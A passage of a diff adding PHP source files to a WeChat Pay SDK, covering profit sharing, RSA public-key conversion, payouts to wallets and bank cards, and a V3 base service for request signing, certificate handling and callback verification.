$this->publicParams['sub_mch_id'] = $this->subMchId;
|
||||
}
|
||||
if (!empty($this->subAppId)) {
|
||||
$this->publicParams['sub_appid'] = $this->subAppId;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 添加分账接收方
|
||||
* @param string $account 分账接收方账号
|
||||
* @param string|null $name 用户姓名(填写后校验)
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function addReceiver(string $account, string $name = null)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/pay/profitsharingaddreceiver';
|
||||
$receiver = [
|
||||
'type' => 'PERSONAL_OPENID',
|
||||
'account' => $account,
|
||||
'relation_type' => 'SERVICE_PROVIDER'
|
||||
];
|
||||
if(!empty($name)) $receiver['name'] = $name;
|
||||
$params = [
|
||||
'receiver' => json_encode($receiver, JSON_UNESCAPED_UNICODE)
|
||||
];
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 删除分账接收方
|
||||
* @param string $account 分账接收方账号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function deleteReceiver(string $account)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/pay/profitsharingremovereceiver';
|
||||
$receiver = [
|
||||
'type' => 'PERSONAL_OPENID',
|
||||
'account' => $account
|
||||
];
|
||||
$params = [
|
||||
'receiver' => json_encode($receiver, JSON_UNESCAPED_UNICODE)
|
||||
];
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 请求单次分账
|
||||
* @param string $out_order_no 商户分账单号
|
||||
* @param string $transaction_id 微信订单号
|
||||
* @param string $openid 分账接收方账号
|
||||
* @param string $name 用户姓名(填写后校验)
|
||||
* @param int $amount 分账金额(分)
|
||||
* @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号","status":"分账单状态","receivers":""}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function submit(string $out_order_no, string $transaction_id, string $openid, string $name, int $amount)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/secapi/pay/profitsharing';
|
||||
$receiver = [
|
||||
'type' => 'PERSONAL_OPENID',
|
||||
'account' => $openid,
|
||||
'amount' => $amount,
|
||||
'description' => '订单分账'
|
||||
];
|
||||
if(!empty($name)) $receiver['name'] = $name;
|
||||
$params = [
|
||||
'out_order_no' => $out_order_no,
|
||||
'transaction_id' => $transaction_id,
|
||||
'receivers' => json_encode([$receiver], JSON_UNESCAPED_UNICODE)
|
||||
];
|
||||
return $this->execute($url, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询分账结果
|
||||
* @param string $out_order_no 商户分账单号
|
||||
* @param string $transaction_id 微信订单号
|
||||
* @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号","status":"分账单状态","receivers":""}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function query(string $out_order_no, string $transaction_id)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/pay/profitsharingquery';
|
||||
$params = [
|
||||
'out_order_no' => $out_order_no,
|
||||
'transaction_id' => $transaction_id
|
||||
];
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 解冻剩余资金
|
||||
* @param string $out_order_no 商户分账单号
|
||||
* @param string $transaction_id 微信订单号
|
||||
* @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function unfreeze(string $out_order_no, string $transaction_id)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/secapi/pay/profitsharingfinish';
|
||||
$params = [
|
||||
'out_order_no' => $out_order_no,
|
||||
'transaction_id' => $transaction_id,
|
||||
'description' => '分账已完成'
|
||||
];
|
||||
return $this->execute($url, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询订单待分账金额
|
||||
* @param string $transaction_id 微信订单号
|
||||
* @return mixed {"transaction_id":"微信订单号","unsplit_amount":"订单剩余待分金额"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function orderAmountQuery(string $transaction_id)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/pay/profitsharingorderamountquery';
|
||||
$params = [
|
||||
'transaction_id' => $transaction_id,
|
||||
];
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 分账回退
|
||||
* @param array $params 请求参数
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function return(array $params)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/secapi/pay/profitsharingreturn';
|
||||
if (empty($params['order_id']) && empty($params['out_order_no'])) {
|
||||
throw new \InvalidArgumentException('order_id、out_order_no至少填一个');
|
||||
}
|
||||
if (empty($params['out_return_no'])) {
|
||||
throw new \InvalidArgumentException('out_return_no参数不能为空');
|
||||
}
|
||||
return $this->execute($url, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 分账回退结果查询
|
||||
* @param string $out_return_no
|
||||
* @param string $out_order_no
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function returnQuery(string $out_return_no, string $out_order_no)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/pay/profitsharingreturnquery';
|
||||
$params = [
|
||||
'out_order_no' => $out_order_no,
|
||||
'out_return_no' => $out_return_no
|
||||
];
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay;
|
||||
|
||||
class RsaTool
|
||||
{
|
||||
/**
|
||||
* @var string - Equal to `sequence(oid(1.2.840.113549.1.1.1), null))`
|
||||
* @link https://datatracker.ietf.org/doc/html/rfc3447#appendix-A.2
|
||||
*/
|
||||
private const ASN1_OID_RSAENCRYPTION = '300d06092a864886f70d0101010500';
|
||||
private const ASN1_SEQUENCE = 48;
|
||||
private const CHR_NUL = "\0";
|
||||
private const CHR_ETX = "\3";
|
||||
|
||||
/**
|
||||
* Translate the \$thing strlen from `X690` style to the `ASN.1` 128bit hexadecimal length string
|
||||
*
|
||||
* @param string $thing - The string
|
||||
*
|
||||
* @return string The `ASN.1` 128bit hexadecimal length string
|
||||
*/
|
||||
private static function encodeLength(string $thing): string
|
||||
{
|
||||
$num = strlen($thing);
|
||||
if ($num <= 0x7F) {
|
||||
return sprintf('%c', $num);
|
||||
}
|
||||
|
||||
$tmp = ltrim(pack('N', $num), self::CHR_NUL);
|
||||
return pack('Ca*', strlen($tmp) | 0x80, $tmp);
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert the `PKCS#1` format RSA Public Key to `SPKI` format
|
||||
*
|
||||
* @param string $thing - The base64-encoded string, without evelope style
|
||||
*
|
||||
* @return string The `SPKI` style public key without evelope string
|
||||
*/
|
||||
public static function pkcs1ToSpki(string $thing): string
|
||||
{
|
||||
$raw = self::CHR_NUL . base64_decode($thing);
|
||||
$new = pack('H*', self::ASN1_OID_RSAENCRYPTION) . self::CHR_ETX . self::encodeLength($raw) . $raw;
|
||||
|
||||
return base64_encode(pack('Ca*a*', self::ASN1_SEQUENCE, self::encodeLength($new), $new));
|
||||
}
|
||||
|
||||
public static function pemToBase64(string $data): string
|
||||
{
|
||||
$line = explode("\n", $data);
|
||||
$base64 = '';
|
||||
foreach($line as $row){
|
||||
if(empty($row) || strpos($row, '-----BEGIN')!==false || strpos($row, '-----END')!==false) continue;
|
||||
$base64 .= trim($row);
|
||||
}
|
||||
return $base64;
|
||||
}
|
||||
|
||||
public static function base64ToPem(string $data, $type): string
|
||||
{
|
||||
if(empty($data) || strpos($data, '-----BEGIN')!==false) return $data;
|
||||
$pem = "-----BEGIN ".$type."-----\n" .
|
||||
wordwrap($data, 64, "\n", true) .
|
||||
"\n-----END ".$type."-----";
|
||||
return $pem;
|
||||
}
|
||||
|
||||
public static function pkcs1ToSpkiPem(string $thing): string
|
||||
{
|
||||
$raw = self::pemToBase64($thing);
|
||||
$new = self::pkcs1ToSpki($raw);
|
||||
return self::base64ToPem($new, 'PUBLIC KEY');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 转账服务类
|
||||
* @see https://pay.weixin.qq.com/wiki/doc/api/tools/mch_pay.php?chapter=14_1
|
||||
* @see https://pay.weixin.qq.com/wiki/doc/api/tools/mch_pay_yhk.php?chapter=25_1
|
||||
*/
|
||||
class TransferService extends BaseService
|
||||
{
|
||||
//加密公钥
|
||||
private $publicKeyPath;
|
||||
|
||||
public function __construct($config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
|
||||
$this->publicKeyPath = $config['publickey_path'];
|
||||
$this->publicParams = [
|
||||
'nonce_str' => $this->getNonceStr(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 企业付款到零钱
|
||||
* @param string $partner_trade_no 商户唯一订单号
|
||||
* @param string $openid 用户openid
|
||||
* @param string $name 用户姓名(填写后校验)
|
||||
* @param numeric $amount 金额
|
||||
* @param string $desc 备注
|
||||
* @return mixed {"partner_trade_no":"商户唯一订单号","payment_no":"微信付款单号","payment_time":"付款成功时间"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transfer(string $partner_trade_no, string $openid, string $name, $amount, string $desc)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/mmpaymkttransfers/promotion/transfers';
|
||||
$params = [
|
||||
'mch_appid' => $this->appId,
|
||||
'mchid' => $this->mchId,
|
||||
'partner_trade_no' => $partner_trade_no,
|
||||
'openid' => $openid,
|
||||
'amount' => $amount,
|
||||
'desc' => $desc
|
||||
];
|
||||
if (!empty($name)) {
|
||||
$params['check_name'] = 'FORCE_CHECK';
|
||||
$params['re_user_name'] = $name;
|
||||
}
|
||||
return $this->execute($url, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询付款
|
||||
* @param string $partner_trade_no 商户唯一订单号
|
||||
* @return mixed {"partner_trade_no":"商户唯一订单号","detail_id":"微信付款单号","status":"转账状态","reason":"失败原因","openid":"用户openid","transfer_name":"用户姓名","payment_amount":"付款金额","transfer_time":"转账时间","payment_time":"付款成功时间","desc":"付款备注"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferQuery(string $partner_trade_no)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/mmpaymkttransfers/gettransferinfo';
|
||||
$params = [
|
||||
'mch_appid' => $this->appId,
|
||||
'mchid' => $this->mchId,
|
||||
'partner_trade_no' => $partner_trade_no
|
||||
];
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 企业付款到银行卡
|
||||
* @param string $partner_trade_no 商户唯一订单号
|
||||
* @param string $bank_no 收款方银行卡号
|
||||
* @param string $name 收款方用户名
|
||||
* @param string $bank_code 收款方开户行(https://pay.weixin.qq.com/wiki/doc/api/tools/mch_pay_yhk.php?chapter=24_4)
|
||||
* @param numeric $amount 金额
|
||||
* @param string $desc 备注
|
||||
* @return mixed {"partner_trade_no":"商户唯一订单号","payment_no":"微信付款单号","cmms_amt":"手续费金额"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferToBank(string $partner_trade_no, string $bank_no, string $name, string $bank_code, $amount, string $desc)
|
||||
{
|
||||
$pubKey = null;
|
||||
if (empty($this->publicKeyPath)) {
|
||||
throw new Exception('RSA加密公钥路径不能为空');
|
||||
}
|
||||
if (file_exists($this->publicKeyPath)) {
|
||||
$pubKey = file_get_contents($this->publicKeyPath);
|
||||
}
|
||||
if (!$pubKey) {
|
||||
$pubKey = $this->getPublicKey();
|
||||
if (!file_put_contents($this->publicKeyPath, $pubKey)) {
|
||||
throw new Exception('RSA加密公钥文件写入失败');
|
||||
}
|
||||
}
|
||||
$pubkeyid = openssl_pkey_get_public($pubKey);
|
||||
if (!$pubkeyid) {
|
||||
throw new Exception('RSA加密公钥不正确');
|
||||
}
|
||||
|
||||
$url = 'https://api.mch.weixin.qq.com/mmpaysptrans/pay_bank';
|
||||
$params = [
|
||||
'mch_id' => $this->mchId,
|
||||
'partner_trade_no' => $partner_trade_no,
|
||||
'enc_bank_no' => $this->encryptData($bank_no, $pubkeyid),
|
||||
'enc_true_name' => $this->encryptData($name, $pubkeyid),
|
||||
'bank_code' => $bank_code,
|
||||
'amount' => $amount,
|
||||
'desc' => $desc
|
||||
];
|
||||
return $this->execute($url, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询付款银行卡
|
||||
* @param string $partner_trade_no 商户唯一订单号
|
||||
* @return mixed {"partner_trade_no":"商户唯一订单号","payment_no":"微信付款单号","bank_no_md5":"收款用户银行卡号(MD5加密)","true_name_md5":"收款人真实姓名(MD5加密)","amount":"金额","cmms_amt":"手续费金额","status":"转账状态","create_time":"商户下单时间","pay_succ_time":"成功付款时间","reason":"失败原因"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function queryBank(string $partner_trade_no)
|
||||
{
|
||||
$url = 'https://api.mch.weixin.qq.com/mmpaysptrans/query_bank';
|
||||
$params = [
|
||||
'mch_id' => $this->mchId,
|
||||
'partner_trade_no' => $partner_trade_no
|
||||
];
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取RSA加密公钥
|
||||
* @throws Exception
|
||||
*/
|
||||
public function getPublicKey()
|
||||
{
|
||||
$url = 'https://fraud.mch.weixin.qq.com/risk/getpublickey';
|
||||
$params = [
|
||||
'mch_id' => $this->mchId,
|
||||
];
|
||||
$result = $this->execute($url, $params, true);
|
||||
$pub_key = $result['pub_key'];
|
||||
$pub_key = RsaTool::pkcs1ToSpkiPem($pub_key);
|
||||
return $pub_key;
|
||||
}
|
||||
|
||||
/**
|
||||
* RSA加密
|
||||
* @param string $data
|
||||
* @param $pubKey
|
||||
* @return string
|
||||
* @throws Exception
|
||||
*/
|
||||
private function encryptData(string $data, $pubkeyid): string
|
||||
{
|
||||
openssl_public_encrypt($data, $encrypted, $pubkeyid, OPENSSL_PKCS1_OAEP_PADDING);
|
||||
return base64_encode($encrypted);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,525 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay\V3;
|
||||
|
||||
use Exception;
|
||||
|
||||
class BaseService
|
||||
{
|
||||
//SDK版本号
|
||||
static $VERSION = "1.4.8";
|
||||
|
||||
static $GATEWAY = "https://api.mch.weixin.qq.com";
|
||||
|
||||
//应用APPID
|
||||
protected $appId;
|
||||
|
||||
//商户号
|
||||
protected $mchId;
|
||||
|
||||
//商户APIv3密钥
|
||||
protected $apiKey;
|
||||
|
||||
//子商户号
|
||||
protected $subMchId;
|
||||
|
||||
//子商户公众账号ID
|
||||
protected $subAppId;
|
||||
|
||||
//是否电商收付通
|
||||
protected $ecommerce;
|
||||
|
||||
|
||||
//「商户API私钥」文件路径
|
||||
protected $merchantPrivateKeyFilePath;
|
||||
|
||||
//「商户API证书」的「证书序列号」
|
||||
protected $merchantCertificateSerial;
|
||||
|
||||
//「微信支付平台证书」文件路径
|
||||
protected $platformCertificateFilePath;
|
||||
|
||||
//微信支付平台证书序列号
|
||||
protected $platformCertificateSerial;
|
||||
|
||||
//商户API私钥
|
||||
protected $merchantPrivateKeyInstance;
|
||||
|
||||
//微信支付平台证书
|
||||
protected $platformPublicKeyInstance;
|
||||
|
||||
//是否国际版商户
|
||||
private $isGlobal = false;
|
||||
|
||||
private $download_cert = false;
|
||||
|
||||
/**
|
||||
* @param array $config 微信支付配置信息
|
||||
* @throws Exception
|
||||
*/
|
||||
public function __construct(array $config)
|
||||
{
|
||||
if (empty($config['appid'])) {
|
||||
throw new \InvalidArgumentException('应用APPID不能为空');
|
||||
}
|
||||
if (empty($config['mchid'])) {
|
||||
throw new \InvalidArgumentException("商户号不能为空");
|
||||
}
|
||||
if (empty($config['apikey'])) {
|
||||
throw new \InvalidArgumentException("商户APIv3密钥不能为空");
|
||||
}
|
||||
if (strlen($config['apikey']) != 32) {
|
||||
throw new \InvalidArgumentException("无效的商户APIv3密钥");
|
||||
}
|
||||
if (empty($config['merchantPrivateKeyFilePath'])) {
|
||||
throw new \InvalidArgumentException("商户API私钥路径不能为空");
|
||||
}
|
||||
if (empty($config['merchantCertificateSerial'])) {
|
||||
throw new \InvalidArgumentException("商户API证书序列号不能为空");
|
||||
}
|
||||
if (!file_exists($config['merchantPrivateKeyFilePath'])) {
|
||||
throw new \InvalidArgumentException("商户API私钥文件不存在");
|
||||
}
|
||||
$this->appId = $config['appid'];
|
||||
$this->mchId = $config['mchid'];
|
||||
$this->apiKey = $config['apikey'];
|
||||
$this->merchantPrivateKeyFilePath = $config['merchantPrivateKeyFilePath'];
|
||||
$this->merchantCertificateSerial = $config['merchantCertificateSerial'];
|
||||
$this->platformCertificateFilePath = $config['platformCertificateFilePath'];
|
||||
$this->platformCertificateSerial = $config['platformCertificateSerial'];
|
||||
if (isset($config['sub_mchid'])) {
|
||||
$this->subMchId = $config['sub_mchid'];
|
||||
}
|
||||
if (isset($config['sub_appid'])) {
|
||||
$this->subAppId = $config['sub_appid'];
|
||||
}
|
||||
if (isset($config['ecommerce'])) {
|
||||
$this->ecommerce = $config['ecommerce'];
|
||||
}
|
||||
if (isset($config['isGlobal'])) {
|
||||
$this->isGlobal = $config['isGlobal'];
|
||||
}
|
||||
|
||||
$this->initCertificate();
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化证书与私钥
|
||||
* @throws Exception
|
||||
*/
|
||||
private function initCertificate()
|
||||
{
|
||||
//读取商户API私钥
|
||||
$this->merchantPrivateKeyInstance = openssl_pkey_get_private(file_get_contents($this->merchantPrivateKeyFilePath));
|
||||
if (!$this->merchantPrivateKeyInstance) {
|
||||
throw new Exception("商户API私钥错误");
|
||||
}
|
||||
//读取微信支付平台证书或公钥
|
||||
if (file_exists($this->platformCertificateFilePath)) {
|
||||
$certificate = file_get_contents($this->platformCertificateFilePath);
|
||||
$this->platformPublicKeyInstance = openssl_pkey_get_public($certificate);
|
||||
if($this->platformPublicKeyInstance && empty($this->platformCertificateSerial)) {
|
||||
$cert_info = openssl_x509_parse($certificate);
|
||||
if ($cert_info && isset($cert_info['serialNumberHex'])) {
|
||||
$this->platformCertificateSerial = $cert_info['serialNumberHex'];
|
||||
}
|
||||
}
|
||||
}
|
||||
//没有微信支付平台证书,则下载证书
|
||||
if (!$this->platformPublicKeyInstance) {
|
||||
$this->downloadCertificate();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 下载微信支付平台证书
|
||||
* @throws Exception
|
||||
*/
|
||||
private function downloadCertificate()
|
||||
{
|
||||
$result = $this->execute('GET', $this->isGlobal ? '/v3/global/certificates' : '/v3/certificates');
|
||||
$effective_time = 0;
|
||||
foreach ($result['data'] as $item) {
|
||||
if (strtotime($item['effective_time']) > $effective_time) {
|
||||
$effective_time = strtotime($item['effective_time']);
|
||||
$encert = $item['encrypt_certificate'];
|
||||
}
|
||||
}
|
||||
|
||||
$certificate = $this->decryptToString($encert['ciphertext'], $encert['nonce'], $encert['associated_data']);
|
||||
if (!$certificate) {
|
||||
throw new Exception('微信支付平台证书解密失败');
|
||||
}
|
||||
if (!file_put_contents($this->platformCertificateFilePath, $certificate)) {
|
||||
throw new Exception('微信支付平台证书保存失败,可能无文件写入权限');
|
||||
}
|
||||
//从证书解析公钥与序列号
|
||||
$this->platformPublicKeyInstance = openssl_x509_read($certificate);
|
||||
if (!$this->platformPublicKeyInstance) {
|
||||
throw new Exception("微信支付平台证书错误");
|
||||
}
|
||||
$cert_info = openssl_x509_parse($certificate);
|
||||
if ($cert_info && isset($cert_info['serialNumberHex'])) {
|
||||
$this->platformCertificateSerial = $cert_info['serialNumberHex'];
|
||||
}
|
||||
$this->download_cert = true;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 请求接口并解析返回数据
|
||||
* @param string $method 请求方式 GET POST PUT
|
||||
* @param string $path 请求路径
|
||||
* @param array $params 请求参数
|
||||
* @param bool $cert 是否包含平台公钥序列号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function execute(string $method, string $path, array $params = [], bool $cert = false)
|
||||
{
|
||||
$url = self::$GATEWAY . $path;
|
||||
$body = '';
|
||||
if ($method == 'GET' || $method == 'DELETE') {
|
||||
if (count($params) > 0) {
|
||||
$url .= '?' . http_build_query($params);
|
||||
}
|
||||
} elseif(!empty($params)) {
|
||||
$body = json_encode($params);
|
||||
}
|
||||
|
||||
$authorization = $this->getAuthorization($method, $url, $body);
|
||||
$header[] = 'Accept: application/json';
|
||||
$header[] = 'Authorization: WECHATPAY2-SHA256-RSA2048 ' . $authorization;
|
||||
if ($cert) {
|
||||
$header[] = 'Wechatpay-Serial: ' . $this->platformCertificateSerial;
|
||||
}
|
||||
if ($method == 'POST' || $method == 'PUT') {
|
||||
$header[] = 'Content-Type: application/json';
|
||||
}
|
||||
|
||||
[$httpCode, $header, $response] = $this->curl($method, $url, $header, $body);
|
||||
$result = json_decode($response, true);
|
||||
if ($httpCode >= 200 && $httpCode <= 299) {
|
||||
if ($path != '/v3/certificates' && $path != '/v3/global/certificates' && !$this->checkResponseSign($response, $header)) {
|
||||
throw new Exception("微信支付返回数据验签失败");
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
throw new WeChatPayException($result, $httpCode);
|
||||
}
|
||||
|
||||
/**
|
||||
* 下载账单/图片
|
||||
* @param string $download_url 下载地址
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function download(string $download_url)
|
||||
{
|
||||
$method = 'GET';
|
||||
$authorization = $this->getAuthorization($method, $download_url);
|
||||
$header[] = 'Authorization: WECHATPAY2-SHA256-RSA2048 ' . $authorization;
|
||||
[$httpCode, $header, $response] = $this->curl($method, $download_url, $header);
|
||||
if ($httpCode >= 200 && $httpCode <= 299) {
|
||||
return $response;
|
||||
} else {
|
||||
$result = json_decode($response, true);
|
||||
throw new WeChatPayException($result, $httpCode);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 上传文件
|
||||
* @param string $path 请求路径
|
||||
* @param string $file_path 本地文件路径
|
||||
* @param string $file_name 文件名
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function upload(string $path, string $file_path, string $file_name)
|
||||
{
|
||||
$url = self::$GATEWAY . $path;
|
||||
if (!file_exists($file_path)) {
|
||||
throw new Exception("文件不存在");
|
||||
}
|
||||
$meta = [
|
||||
'filename' => $file_name,
|
||||
'sha256' => hash_file("sha256", $file_path)
|
||||
];
|
||||
$meta_json = json_encode($meta);
|
||||
$params = [
|
||||
'file' => new \CURLFile($file_path, '', $file_name),
|
||||
'meta' => $meta_json
|
||||
];
|
||||
|
||||
$authorization = $this->getAuthorization('POST', $url, $meta_json);
|
||||
$header[] = 'Accept: application/json';
|
||||
$header[] = 'Authorization: WECHATPAY2-SHA256-RSA2048 ' . $authorization;
|
||||
[$httpCode, $header, $response] = $this->curl('POST', $url, $header, $params);
|
||||
$result = json_decode($response, true);
|
||||
if ($httpCode >= 200 && $httpCode <= 299) {
|
||||
if (!$this->checkResponseSign($response, $header)) {
|
||||
throw new Exception("微信支付返回数据验签失败");
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
throw new WeChatPayException($result, $httpCode);
|
||||
}
|
||||
|
||||
/**
|
||||
* 返回数据验签
|
||||
* @param string $body 返回内容
|
||||
* @param string $header 返回头部
|
||||
* @return bool
|
||||
* @throws Exception
|
||||
*/
|
||||
protected function checkResponseSign(string $body, string $header): bool
|
||||
{
|
||||
if (!$this->platformCertificateSerial) return true;
|
||||
|
||||
if (preg_match('/Wechatpay-Signature: (.*?)\r\n/', $header, $signature)) {
|
||||
$signature = $signature[1];
|
||||
}
|
||||
if (preg_match('/Wechatpay-Nonce: (.*?)\r\n/', $header, $nonce)) {
|
||||
$nonce = $nonce[1];
|
||||
}
|
||||
if (preg_match('/Wechatpay-Timestamp: (.*?)\r\n/', $header, $timestamp)) {
|
||||
$timestamp = $timestamp[1];
|
||||
}
|
||||
if (preg_match('/Wechatpay-Serial: (.*?)\r\n/', $header, $serial)) {
|
||||
$serial = $serial[1];
|
||||
}
|
||||
|
||||
if (empty($signature)) return false;
|
||||
if ($serial != $this->platformCertificateSerial) {
|
||||
if (!$this->download_cert) {
|
||||
$this->downloadCertificate();
|
||||
}
|
||||
if ($serial != $this->platformCertificateSerial) {
|
||||
throw new Exception('平台证书序列号不匹配');
|
||||
}
|
||||
}
|
||||
|
||||
return $this->checkSign($timestamp, $nonce, $body, $signature);
|
||||
}
|
||||
|
||||
/**
|
||||
* 验证签名
|
||||
* @param string $timestamp 应答时间戳
|
||||
* @param string $nonce 应答随机串
|
||||
* @param string $body 应答报文主体
|
||||
* @param string $signature 应答签名
|
||||
* @return bool
|
||||
*/
|
||||
protected function checkSign(string $timestamp, string $nonce, string $body, string $signature): bool
|
||||
{
|
||||
$message = $timestamp . "\n" . $nonce . "\n" . $body . "\n";
|
||||
$result = openssl_verify($message, base64_decode($signature), $this->platformPublicKeyInstance, OPENSSL_ALGO_SHA256);
|
||||
return $result === 1;
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成签名
|
||||
* @param array $arr - 待签名数组
|
||||
* @return string
|
||||
*/
|
||||
protected function makeSign(array $arr): string
|
||||
{
|
||||
$message = implode("\n", array_merge($arr, ['']));
|
||||
openssl_sign($message, $sign, $this->merchantPrivateKeyInstance, OPENSSL_ALGO_SHA256);
|
||||
return base64_encode($sign);
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成authorization
|
||||
* @param string $method 请求方式 GET POST PUT
|
||||
* @param string $url 请求URL
|
||||
* @param string $body 请求内容 GET时留空
|
||||
*/
|
||||
protected function getAuthorization(string $method, string $url, string $body = ''): string
|
||||
{
|
||||
$url_values = parse_url($url);
|
||||
$url = $url_values['path'] . (isset($url_values['query']) ? ('?' . $url_values['query']) : '');
|
||||
$timestamp = (string)time();
|
||||
$nonce = $this->getNonceStr();
|
||||
$sign = $this->makeSign([$method, $url, $timestamp, $nonce, $body]);
|
||||
return sprintf('mchid="%s",nonce_str="%s",timestamp="%d",serial_no="%s",signature="%s"', $this->mchId, $nonce, $timestamp, $this->merchantCertificateSerial, $sign);
|
||||
}
|
||||
|
||||
/**
|
||||
* 异步回调处理
|
||||
* @return array 回调解密后的数据
|
||||
* @throws Exception
|
||||
*/
|
||||
public function notify(): array
|
||||
{
|
||||
$inWechatpaySignature = $_SERVER['HTTP_WECHATPAY_SIGNATURE'];
|
||||
$inWechatpayTimestamp = $_SERVER['HTTP_WECHATPAY_TIMESTAMP'];
|
||||
$inWechatpaySerial = $_SERVER['HTTP_WECHATPAY_SERIAL'];
|
||||
$inWechatpayNonce = $_SERVER['HTTP_WECHATPAY_NONCE'];
|
||||
$inBody = file_get_contents('php://input');
|
||||
|
||||
if (empty($inBody)) {
|
||||
throw new Exception('no data');
|
||||
}
|
||||
if ($this->platformCertificateSerial != $inWechatpaySerial) {
|
||||
throw new Exception('平台证书序列号不匹配');
|
||||
}
|
||||
|
||||
// 使用平台API证书验签
|
||||
if (!$this->checkSign($inWechatpayTimestamp, $inWechatpayNonce, $inBody, $inWechatpaySignature)) {
|
||||
throw new Exception('签名校验失败');
|
||||
}
|
||||
|
||||
// 转换通知的JSON文本消息为PHP Array数组
|
||||
$inBodyArray = (array)json_decode($inBody, true);
|
||||
// 使用PHP7的数据解构语法,从Array中解构并赋值变量
|
||||
['resource' => [
|
||||
'ciphertext' => $ciphertext,
|
||||
'nonce' => $nonce,
|
||||
'associated_data' => $associated_data
|
||||
]] = $inBodyArray;
|
||||
// 加密文本消息解密
|
||||
$inBodyResource = $this->decryptToString($ciphertext, $nonce, $associated_data);
|
||||
// 把解密后的文本转换为PHP Array数组
|
||||
// print_r($inBodyResourceArray);
|
||||
return json_decode($inBodyResource, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 回复通知
|
||||
* @param bool $isSuccess 是否成功
|
||||
* @param string|null $msg 失败原因
|
||||
*/
|
||||
public function replyNotify(bool $isSuccess = true, ?string $msg = '')
|
||||
{
|
||||
$data = [];
|
||||
if ($isSuccess) {
|
||||
$data['code'] = 'SUCCESS';
|
||||
} else {
|
||||
@header("HTTP/1.1 499 Error");
|
||||
$data['code'] = 'FAIL';
|
||||
$data['message'] = $msg;
|
||||
}
|
||||
$json = json_encode($data, JSON_UNESCAPED_UNICODE);
|
||||
echo $json;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 产生随机字符串,不长于32位
|
||||
* @param int $length
|
||||
* @return string 产生的随机字符串
|
||||
*/
|
||||
protected function getNonceStr(int $length = 32): string
|
||||
{
|
||||
$chars = "abcdefghijklmnopqrstuvwxyz0123456789";
|
||||
$str = "";
|
||||
for ($i = 0; $i < $length; $i++) {
|
||||
$str .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
|
||||
}
|
||||
return $str;
|
||||
}
|
||||
|
||||
/**
|
||||
* 敏感信息RSA加密
|
||||
* @param $str
|
||||
* @return string|bool
|
||||
*/
|
||||
public function rsaEncrypt($str)
|
||||
{
|
||||
if (openssl_public_encrypt($str, $encrypted, $this->platformPublicKeyInstance, OPENSSL_PKCS1_OAEP_PADDING)) {
|
||||
return base64_encode($encrypted);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* 敏感信息RSA解密
|
||||
* @param $str
|
||||
* @return string|bool
|
||||
*/
|
||||
public function rsaDecrypt($str)
|
||||
{
|
||||
